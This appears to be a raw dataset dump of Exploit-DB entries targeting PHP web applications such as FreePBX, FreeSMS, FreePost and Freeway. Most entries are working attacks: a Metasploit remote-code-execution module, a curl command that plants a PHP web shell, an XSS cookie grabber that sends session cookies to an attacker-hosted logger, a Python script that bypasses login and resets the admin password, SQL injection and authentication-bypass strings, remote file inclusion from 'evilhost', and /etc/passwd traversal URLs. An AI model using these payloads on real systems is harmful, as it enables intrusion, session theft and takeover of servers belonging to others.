deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18659
Description: FreePBX 2.9.0/2.10.0 - 'callmenum' Remote Code Execution (Metasploit)
Type: webapps
Platform: php
Date: 2012-03-24
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',
			'Description'    => %q{
				This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
				Due to the way callme_page.php handles the 'callmenum' parameter, it
				is possible to inject code to the '$channel' variable in function
				callme_startcall in order to gain remote code execution.

				Please note in order to use this module properly, you must know the
				extension number, which can be enumerated or bruteforced, or you may
				try some of the default extensions such as 0 or 200.  Also, the call
				has to be answered (or go to voice).

				Tested on both Elastix and FreePBX ISO image installs.
			},
			'Author'         => [ 'muts','Martin Tschirsich' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/18649/' ]
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 20 2012'))

		register_options(
			[
				OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),
			], self.class)
	end

	def exploit
		# Check range input
		if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/
			min = $1.to_i
			max = $2.to_i
		else
			print_error("Please specify a range for option 'EXTENSION'")
			return
		end

		cmd = Rex::Text.uri_encode(payload.encoded)

		(min..max).each do |e|
			connect
			print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")
			res = send_request_raw({
				'method' => 'GET',
				'uri' => "/recordings/misc/callme_page.php?action=c&callmenum="+e.to_s+"@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",
				'version' => '1.0',
				'vhost'   => rhost
			})
			handler
			disconnect
		end
	end

end
Exploit-DB #18649
Description: FreePBX 2.9.0/2.10.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-03-22
Author: Martin Tschirsich

Exploit:
Product: FreePBX
Version: 2.10.0, 2.9.0 and perhaps earlier versions
Type: Remote Command Execution, XSS
Release Date: March 14, 2012
Vendor Notification Date: Jun 12, 2011
Author: Martin Tschirsich


Overview:


A remote command execution vulnerability and some XSS in current and earlier
FreePBX versions due to missing input sanitization.
FreePBX is a popular implementation (500,000 active phone systems) of
Asterisk (telephony software) based around a web-based configuration
interface and other tools. Some of these installations are on a public IP
address.


Proof of Concept:

RCE:
[HOST]/recordings/misc/callme_page.php?action=c&callmenum=[PHONENUMBER]@from
-internal/n%0D%0AApplication:%20system%0D%0AData:%20[CMD]%0D%0A%0D%0A

XSS (2.9.0 and perhaps other versions):
[HOST]/panel/index_amp.php?context=[XSS]
[HOST]/panel/flash/mypage.php?clid=[XSS]
[HOST]/panel/flash/mypage.php?clidname=[base64_encode(XSS)]
[HOST]/panel/dhtml/index.php?context=/../%00">[XSS]
[HOST]/admin/views/freepbx_reload.php/"</script>[XSS]
[HOST]/recordings/index.php?login='>[XSS]


Details (RCE):

Missing input sanitization in htdocs/recordings/misc/callme_page.php:
// line 28-30:
$to         = $_REQUEST['callmenum']; // vulnerable
$msgFrom    = $_REQUEST['msgFrom'];
$new_path   = substr($path, 0, -4);     
// line 38:
$call_status = callme_startcall($to, $msgFrom, $new_path);

Missing input sanitization in htdocs/recordings/includes/callme.php:
// line 88-117:
function callme_startcall($to, $from, $new_path)
{
        global $astman;
        $channel        = "Local/$to () from-internal/n";  // vulnerable
        $context        = "vm-callme";
        $extension      = "s";
        $priority       = "1";
        $callerid       = "VMAIL/$from";
        ...
        /* Arguments to Originate: channel, extension, context, priority,
timeout, callerid, variable, account, application, data */
        $status = $astman->Originate($channel, $extension, $context,
$priority, NULL, $callerid, $variable, NULL, NULL, NULL, NULL);
        ...
}


Unofficial Patch (RCE, tested with 2.9.0):

Patch htdocs/recordings/modules/callme_page.php:
http://pastebin.com/ZbX50qaZ
Patch htdocs/recordings/modules/voicemail.module:
http://pastebin.com/vv3qczfC



Disclaimer:


The vendor has been contacted and provided with a patch several times since
Jun 12, 2011. Since no intention to address this issue was shown, I felt it
was in the best interest to disclose the vulnerability.

All information in this advisory is provided on an 'as is' basis in the hope
that it will be useful. The author not responsible for any risks or
occurrences caused by the application of this information.
Exploit-DB #41005
Description: Freepbx < 2.11.1.5 - Remote Code Execution
Type: webapps
Platform: php
Date: 2016-12-23
Author: inj3ctor3

Exploit:
Exploit Title: Freepbx coockie recordings injection
Google Dork: Ask Santa
Date: 23/12/2016
Exploit Author: inj3ctor3
Vendor Homepage: https://www.freepbx.org/
Software Link: ISO LINKS IN SITE https://www.freepbx.org/
Version: ALL && unpatched/ (Trixbox/freepbx/elastix/pbxinflash/)
Tested on: Centos 6
CVE : CVE-2014-7235

1. Description

a critical Zero-Day Remote Code Execution and Privilege Escalation 
exploit within the legacy “FreePBX ARI Framework module/Asterisk 
Recording Interface (ARI)”.
htdocs_ari/includes/login.php in the ARI Framework module/Asterisk Recording Interface (ARI) in FreePBX before 2.9.0.9, 2.10.x, 
and 2.11 before 2.11.1.5 allows remote attackers to execute arbitrary code via the ari_auth coockie, 
related to the PHP unserialize function

<?php
.....
...
line 56 $buf = unserialize(stripslashes($_COOKIE['ari_auth']));
 line 57 list($data,$chksum) = $buf;
....
?>

A successful attack may compromise the whole system aiding the hacker to gain

further privileges via taking advantage of famous nmap shell 

without further or do this is a poc code

curl -ks -m20 http://127.0.0.1/recordings/index.php" --cookie "ari_lang=() { :;};php -r 'set_time_limit(0);unlink("page.framework.php");file_put_contents("misc/audio.php", "<?php if(\$_COOKIE[\"lang\"]) {system(\$_COOKIE[\"lang\"]);}die();?>");';ari_auth=O:8:"DB_mysql":6:{s:19:"_default_error_mode";i:16;s:22:"_default_error_options";s:9:"do_reload";s:12:"_error_class";s:4:"TEST";s:13:"was_connected";b:1;s:7:"options";s:3:"123";s:3:"dsn";a:4:{s:8:"hostspec";s:9:"localhost";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:8:"database";s:7:"trigger";}};elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0" --data "username=admin&[CREDENTIAL_REDACTED]=btnSubmit" >/dev/null

if curl -ks -m10 "http://127.0.0.1/recordings/misc/audio.php" --cookie "lang=id" | grep asterisk >/dev/null;then echo "127.0.0.1/recordings/misc/audio.php" | tee -a xploited_new.txt;fi
Exploit-DB #5124
Description: freePHPgallery 0.6 - Cookie Local File Inclusion
Type: webapps
Platform: php
Date: 2008-02-14
Author: MhZ91

Exploit:
--==+================================================================================+==--
--==+		freePHPgallery 0.6 Cookie Local File Inclusion                       +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: freePHPgallery 0.6 Cookie Local File Inclusion
 Download: http://sourceforge.net/projects/freephpgallery/
 Bug: Local File Inclusion
 Info: freePHPgallery is a easy-to-use free PHP picture gallery. Automatic creation of picture indexes with thumbnails, commenting function, selection of multiple languages. This software does not NOT require a database or other additional software.
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

freePHPgallery 0.6 present a local file inclusion in this file

index.php
comment.php
show.php

<?php

[...]

if($_COOKIE['lang']!="")
{if(file_exists("./lang/".$_COOKIE['lang'])){include ("./lang/".$_COOKIE['lang']);};}

[...]

?>

we can modify the cookie lang value whit a ../../../../ etc... and give a local file inclusion 


[*]----------------------------------------------------------

# milw0rm.com [2008-02-14]
Exploit-DB #19035
Description: freepost 0.1 r1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-06-10
Author: ThE g0bL!N

Exploit:
#####################################################################################################
# Exploit FreePost 0.1 R1 SQL Injection
# Date: June 6nd 2012
# Author: ThE g0bL!N
# Version: 0.1 R1
# Vendor Url: http://www.phpbrasil.com/script/dYRoLbwWu_zR/freepost-01-r1
# Tested on: Xp Service Pack 2
#####################################################################################################
#  Greets To : Lider Pirata  , Yassine Tablouche , Ilyes , Bilal ,
Habib,  Djamal  , Boukhors .. etc
#####################################################################################################

Exploit:
--------
 1) You Need To register
 2) http://localhost/freepost0.1-R1/edit.php?action=edit&post=1 [SQL CODE]
 3) /edit.php?action=edit&post=-1+union+select+1,2,3,concat(user_login,0x3a,user_pass),5,6,7+from+b2users--


#################################################################################################################
[+] FreePost 0.1 R1 Cookie Grabber Exploit
[+] Discovered By ThE g0bL!N
[+] Greets To : Lider Pirata , Yassine Tablouche , Ilyes , Bilal ,
Habib, Djamal , Boukhors .. etc
[+] Vendor:http://www.phpbrasil.com/script/dYRoLbwWu_zR/freepost-01-r1
#################################################################################################################
PoC
--
[+] Make 2 files and upload to your host :
[+]cookie.php - > Put in this File That Code:
<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>
[+]log.txt - > CHMOD it 777 and put in the same directory with cookie.php

[+]Exploit:
-------
1)First Register in the site
2) go to http://site.com/edit.php
3) add This Code :<script>document.location
="http://localhost/[path]/cookie.php?cookie=" +
document.cookie;</script>
4) any one open this page engenie.php you gonna still his cookies

Example
-------
Result:
------
PHPSESSID:aafaa0f2cad7431d5cec1431e5bafb03
Then we put that code
javascript:document.cookie="PHPSESSID=aafaa0f2cad7431d5cec1431e5bafb03;path=/";
After That you see :
Hello Admin :)
################################################################################################################
Exploit-DB #29215
Description: FreeQBoard 1.0/1.1 - 'QB_Path' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-12-27
Author: Shell

Exploit:
source: https://www.securityfocus.com/bid/21394/info

FreeQboard is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

FreeQboard 1.1 and prior versions are vulnerable to these issues.

http://www.example.com/[path]/index.php?qb_path=shellcode.txt?
http://www.example.com/[path]/faq.php?qb_path=shellcode.txt?
http://www.example.com/[path]/delete.php?qb_path=shellcode.txt?
http://www.example.com/[path]/contact.php?qb_path=shellcode.txt?
http://www.example.com/[path]/about.php?qb_path=shellcode.txt?
Exploit-DB #12411
Description: FreeRealty(Free Real Estate Listing Software) - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-04-27
Author: Sid3^effects

Exploit:
# Exploit Title: Authentication bypass in FreeRealty(Free Real Estate Listing Software)
# Date: 27-apr-2010
# Author: Sid3^effects
# Software Link: N/a
# CVE : []
# Code : []                   ______________________________________________________________________________                               Authentication bypass in FreeRealty
                       Vendor:http://freerealty.rwcinc.net/
      ___________________________Author:Sid3^effects_________________________________
  

Description :

 Free Realty  is primarily designed for real estate agents and offices to list properties on the internet. With Free Realty the end user does not need to be fluent in web page design.
 

script cost :Free
---------------------------------------------------------------------------
	* Authentication bypass:

	The following script has authentication bypass.

	use ' or 1=1 or ''=' in both login and password.

DEMO :http://[site]/demo/agentadmin.php


ShoutZ :
------- 
               ---Indian Cyber warriors--Andhra hackers-- 

Greetz :
--------
 ---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j--
Exploit-DB #34485
Description: FreeSchool - 'key_words' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-14
Author: drunken danish rednecks

Exploit:
source: https://www.securityfocus.com/bid/42513/info

FreeSchool is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

FreeSchool 1.1.0 is vulnerable; others may also be affected.


http://www.example.com/biblioteca/index.php?action=bib_searchs&method=searchs&key_words=example%22%27%3E%3Cscript%3Ealert(1)%3C/script%3E
Exploit-DB #7079
Description: FREEsimplePHPGuestbook - 'Guestbook.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-11-10
Author: GoLd_M

Exploit:
 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            
FREEsimplePHPguestbook (guestbook.php) Remote Code Execution Vulnerability 
Get Script : http://www.sanusart.com/php/FREEsimplePHPguestbook.zip
Live Deom : http://www.sanusart.com/php/test/guestbook/guestbook.php
Exploit :
         Go http://www.sanusart.com/php/test/guestbook/guestbook.php
In  ->> Name (required): Write ->> Mahmood
In  ->> Web site (without http://): Write ->> http://tryag.cc
In  ->> Message: Write ->> <? passthru($_GET[tryag]); ?>

After All This Go > http://www.sanusart.com/php/test/guestbook/guestbook.php?tryag=id

See Pictures : 1- http://up1.mlfnt.net/images/7kzeu9l8hdjynjud062.png
               2- http://up1.mlfnt.net/images/rhcuudvtuzv1i62ovp.png

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-11-10]
Exploit-DB #38801
Description: FreeSMS - '/pages/crc_handler.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-09-27
Author: Sarahma Security

Exploit:
source: https://www.securityfocus.com/bid/63004/info
 
FreeSMS is prone to multiple cross-site scripting vulnerabilities and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.
 
Attackers can exploit these issues to execute arbitrary code in the context of the browser, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks are also possible.
 
FreeSMS 2.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/freesms/pages/crc_handler.php?method=profile&func=%3Cscript%3Ealert%28123%29%3C/script%3E
http://www.example.com/FreeSMS/pages/crc_evaluation.php?crc=diggks5j3mlf6pee6knk34qq60&uid=3&course='"</script><script>alert(document.cookie)</script>
http://www.example.com/FreeSMS/pages/crc_login.php?crc=diggks5j3mlf6pee6knk34qq60&uid='"</script><script>alert(document.cookie)</script>
http://www.example.com/FreeSMS/pages/crc_handler.php?method=register&func=add -> Username -> '"</script><script>alert(document.cookie)</script>
Exploit-DB #38800
Description: FreeSMS - '/pages/crc_handler.php?scheduleid' SQL Injection
Type: webapps
Platform: php
Date: 2013-09-27
Author: Sarahma Security

Exploit:
source: https://www.securityfocus.com/bid/63004/info

FreeSMS is prone to multiple cross-site scripting vulnerabilities and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues to execute arbitrary code in the context of the browser, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks are also possible.

FreeSMS 2.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/freesms/pages/crc_handler.php?method=evaluation&func=getanswers&scheduleid=15{SQL_HERE}
Exploit-DB #46658
Description: FreeSMS 2.1.2 - SQL Injection (Authentication Bypass)
Type: webapps
Platform: php
Date: 2019-04-04
Author: Yilmaz Degirmenci

Exploit:
# Exploit Title: FreeSMS 2.1.2 - Authentication Bypass
# Date: 2019-04-03
# Exploit Author: Yilmaz Degirmenci
# Vendor Homepage: https://freesms.sourceforge.io/
# Software Link: https://sourceforge.net/projects/freesms/
# Version: v2.1.2
# Category: Webapps
# Tested on: LAMPP for Linux
# Software Description : FreeSMS is a PHP based application to manage an educational facility 
# of teachers and students alike. It is a teacher and student management system providing marketing, 
# registration, course management, attendance and a student evaluation system.
# ==================================================================
# The "password" parameter has boolean-based blind SQL injection vulnerability.
# The login panel can be bypassed if the user name is known.
# SQLDork: pass") RLIKE (SELECT (CASE WHEN (4404=4404) THEN 0x61646d696e74 ELSE 0x28 END)) AND ("WpaN"="WpaN
# Exploit allows the creation of a new password on the target.

import requests, sys, re, random

if (len(sys.argv) != 2):
    print "[*] Usage: poc.py <RHOST><RPATH> (192.168.1.20/freesms)"
    exit(0)

rhost = sys.argv[1]

uname = str(raw_input("User Name: "))
npass = str(raw_input("New Pass: "))

url = "http://"+rhost+"/pages/crc_handler.php?method=login"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

data = {"username": ""+uname+"", "password": "pass\") RLIKE (SELECT (CASE WHEN (4404=4404) THEN 0x61646d696e74 ELSE 0x28 END)) AND (\"WpaN\"=\"WpaN", "context": "ou=Don Mills,ou=Toronto,ou=Ontario,ou=Canada,o=CRC World", "login": "login"}

bp = bypass = requests.post(url, headers=headers, data=data)

if bp.status_code == 200:
  print "Authentication bypass was successful!"
  print "Trying to change password..."
else:
  print "Something went wrong. You should try manual exploitation"
  sys.exit()

cookies = bypass.headers['Set-Cookie']
cookie = re.split(r'\s', cookies)[0].replace(';','').replace('crc=','').strip()
print "Admin Cookie : crc="+cookie+""


# Change admin password

purl = "http://"+rhost+"/pages/crc_handler.php?method=profile&func=update"
pcookies = {"crc": ""+cookie+""}
pheaders = {"Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
pdata={"context": "ou%3DDon+Mills%2Cou%3DToronto%2Cou%3DOntario%2Cou%3DCanada%2Co%3DCRC+World", "profileid": "1", "username": ""+uname+"", "password": ""+npass+"", "fname": "Firstname", "lname": "Lastname", "email": "admin@domain.com", "gender": "Male", "day": "19", "month": "11", "year": "1977", "add1": "Campulung", "add2": '', "city": "Campulung", "province": "AG", "country": "Romania", "pc": "115100", "lcode": "0040", "lprefix": "0000", "lpostfix": "000000", "update": "Update"}
p = requests.post(purl, headers=pheaders, cookies=pcookies, data=pdata)

if p.status_code == 200:
  print "New password successfully created! New Password: "+npass+""
else:
  print "Something went wrong. You should try manual exploitation"
  sys.exit()
Exploit-DB #3047
Description: FreeStyle Wiki 3.6.2 - 'user.dat' Password Disclosure
Type: webapps
Platform: php
Date: 2006-12-30
Author: bd0rk

Exploit:
                  fswiki 3.6.2 (user.dat) Password Disclosure Vulnerability



=> Affected Software: fswiki 3.6.2

=> Download: http://keihanna.dl.sourceforge.jp/fswiki/20797/wiki3_6_2.zip

=> F0under: bd0rk

=> Greetings: str0ke, TheJT, SHiKaA, Lu7k

[+]Exploit: http://[target]/[fswiki_path]/config/user.dat



#####The german Hacker bd0rk#####

# milw0rm.com [2006-12-30]
Exploit-DB #32240
Description: Freeway 1.4.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-13
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30676/info

Freeway is prone to multiple remote file-include and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Freeway 1.4.1.171 is affected; other versions may also be vulnerable. 

1. Multiple Remote/Local File Include

Example:

...
$command=isset($HTTP_GET_VARS[&#039;command&#039;])?$HTTP_GET_VARS[&#039;command&#039;]:&#039;&#039;;
...

if($command!="")
{
switch($command){
...
case &#039;include_page&#039;:
require($HTTP_GET_VARS[&#039;include_page&#039;]);
break;
...

http://www.example.com/[installdir]/admin/create_order_new.php=http://evilhost/info.php

Local File Include vulnerability found in script  includes/events_application_top.php

2. Linked XSS vulnerability

Example

http://www.example.com/[installdir]/admin/search_links.php"<script>a=/DSecRG_XSS/%0d%0aalert(a.source)</script>
Exploit-DB #32259
Description: Freeway 1.4.1.171 - '/english/account.php?language' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2008-08-18
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30731/info

Freeway is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.

Freeway 1.4.1.171 is vulnerable; other versions may also be affected.

http://www.example.com/[installdir]/includes/languages/english/account.php?language=../../../../../../../../../../../../../etc/passwd%00